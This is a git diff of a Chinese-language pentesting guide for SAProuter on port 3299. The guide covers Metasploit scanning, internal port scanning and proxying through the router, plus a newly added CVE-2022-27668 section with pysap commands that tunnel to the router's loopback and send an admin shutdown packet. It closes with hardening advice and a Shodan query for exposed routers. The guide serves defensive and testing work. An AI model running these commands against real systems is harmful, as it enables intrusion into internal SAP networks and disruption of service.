diff --git a/src/network-services-pentesting/3299-pentesting-saprouter.md b/src/network-services-pentesting/3299-pentesting-saprouter.md index 8385bad46..919c1d501 100644 --- a/src/network-services-pentesting/3299-pentesting-saprouter.md +++ b/src/network-services-pentesting/3299-pentesting-saprouter.md @@ -1,17 +1,19 @@ +# # 3299/tcp - Pentesting SAProuter + {{#include ../banners/hacktricks-training.md}} ```text PORT STATE SERVICE VERSION 3299/tcp open saprouter? ``` -这是来自[https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)的帖子摘要 +这是来自 [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/) 的帖子摘要 -## 理解使用Metasploit进行SAProuter渗透 +## 使用 Metasploit 理解 SAProuter 渗透 -SAProuter充当SAP系统的反向代理,主要用于控制互联网与内部SAP网络之间的访问。它通常通过允许TCP端口3299穿过组织防火墙而暴露于互联网。这种设置使得SAProuter成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。 +SAProuter 充当 SAP 系统的反向代理,主要用于控制互联网与内部 SAP 网络之间的访问。它通常通过允许 TCP 端口 3299 通过组织防火墙而暴露于互联网。这种设置使得 SAProuter 成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。 **扫描和信息收集** -最初,使用**sap_service_discovery**模块进行扫描,以确定给定IP上是否运行SAP路由器。这一步对于确认SAP路由器及其开放端口的存在至关重要。 +最初,使用 **sap_service_discovery** 模块进行扫描,以确定给定 IP 上是否运行 SAP router。此步骤对于确认 SAP router 的存在及其开放端口至关重要。 ```text msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 @@ -25,7 +27,7 @@ msf auxiliary(sap_router_info_request) > run ``` **枚举内部服务** -通过获得的内部网络洞察,**sap_router_portscanner**模块用于通过SAProuter探测内部主机和服务,从而更深入地了解内部网络和服务配置。 +通过获得的内部网络洞察,**sap_router_portscanner** 模块用于通过 SAProuter 探测内部主机和服务,从而更深入地了解内部网络和服务配置。 ```text msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 msf auxiliary(sap_router_portscanner) > set PORTS 32NN @@ -39,13 +41,13 @@ msf auxiliary(sap_router_portscanner) > set PORTS 32NN msf auxiliary(sap_router_portscanner) > set MODE TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN ``` -**内部主机的盲目枚举** +**盲目枚举内部主机** -在从 SAProuter 获取直接信息有限的情况下,可以应用盲目枚举等技术。这种方法试图猜测并验证内部主机名的存在,揭示潜在目标而无需直接的 IP 地址。 +在直接从SAProuter获取信息有限的情况下,可以应用盲目枚举等技术。该方法尝试猜测并验证内部主机名的存在,揭示潜在目标而无需直接的IP地址。 **利用信息进行渗透测试** -在映射网络并识别可访问服务后,渗透测试人员可以利用 Metasploit 的代理功能,通过 SAProuter 进行进一步的探索和内部 SAP 服务的利用。 +在映射网络并识别可访问服务后,渗透测试人员可以利用Metasploit的代理功能,通过SAProuter进行转发,以进一步探索和利用内部SAP服务。 ```text msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 @@ -57,12 +59,73 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run 有关Metasploit模块及其使用的详细信息,请访问 [Rapid7's database](http://www.rapid7.com/db)。 +--- + +## 最近的漏洞 (2022-2025) + +### CVE-2022-27668 – 不当访问控制 ➜ 远程管理命令执行 + +在2022年6月,SAP发布了安全通知 **3158375**,解决了SAProuter(所有内核≥ 7.22)中的一个关键缺陷(CVSS 9.8)。未经身份验证的攻击者可以利用宽松的 `saprouttab` 条目从远程主机 **发送管理数据包**(例如 *shutdown*、*trace-level*、*connection-kill*),即使路由器是在没有 `-X` 远程管理选项的情况下启动的。 + +该问题源于通过针对未指定地址 **0.0.0.0** 构建到路由器自身回环接口的隧道的可能性。一旦建立隧道,攻击者将获得本地主机权限,并可以运行任何管理命令。 + +可以使用 **pysap** 框架重现实际利用: +```bash +# 1. Build a loopback tunnel through the vulnerable SAProuter +python router_portfw.py -d -p 3299 \ +-t 0.0.0.0 -r 3299 \ +-a 127.0.0.1 -l 3299 -v + +# 2. Send an admin packet (here: stop the remote router) +python router_admin.py -s -d 127.0.0.1 -p 3299 +``` +**受影响的版本** + +* 独立的 SAProuter 7.22 / 7.53 +* 内核 7.49, 7.77, 7.81, 7.85–7.88(包括 KRNL64NUC/UC) + +**修复 / 缓解措施** + +1. 应用 SAP Note **3158375** 中提供的补丁。 +2. 从 `saprouttab` 中的 `P` 和 `S` 行中移除通配符(`*`)目标。 +3. 确保路由器在 **没有** `-X` 选项的情况下启动,并且 **不** 直接暴露于互联网。 + +--- + +## 更新的工具和技巧 + +* **pysap** – 积极维护,并提供 `router_portfw.py`、`router_admin.py` 和 `router_trace.py` 用于制作自定义 NI/Router 数据包、模糊测试 ACL 或自动化 CVE-2022-27668 漏洞利用。 +* **Nmap** – 通过添加自定义 SAProuter 探测扩展服务检测: + +```text +Probe TCP SAProuter q|\x00\x00\x00\x00| +ports 3299 +match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/ +``` + +结合 NSE 脚本或 `--script=banner` 快速指纹识别泄露横幅字符串的版本(`SAProuter on ''`)。 +* **Metasploit** – 上述辅助模块仍然可以通过使用 pysap 创建的 SOCKS 或 NI 代理工作,即使路由器阻止直接访问,也能实现完整的框架集成。 + +--- + +## 加固和检测清单 + +* 在边界防火墙上过滤端口 **3299/TCP** – 仅允许来自受信任的 SAP 支持网络的流量。 +* 保持 SAProuter **完全打补丁**;使用 `saprouter -v` 验证并与最新的内核补丁级别进行比较。 +* 在 `saprouttab` 中使用 **严格的、特定主机** 条目;避免使用 `*` 通配符,并拒绝针对任意主机或端口的 `P`/`S` 规则。 +* 使用 **`-S ` + SNC** 启动服务,以强制执行加密和相互认证。 +* 禁用远程管理(`-X`),如果可能,将监听器绑定到 `127.0.0.1`,同时使用外部反向代理处理所需流量。 +* 监控 **dev_rout** 日志,查找可疑的 `ROUTER_ADM` 数据包或意外的 `NI_ROUTE` 请求到 `0.0.0.0`。 + +--- + ## **参考文献** - [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/) +- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/) ## Shodan -- `port:3299 !HTTP Network packet too big` +- `port:3299 !HTTP 网络数据包过大` {{#include ../banners/hacktricks-training.md}}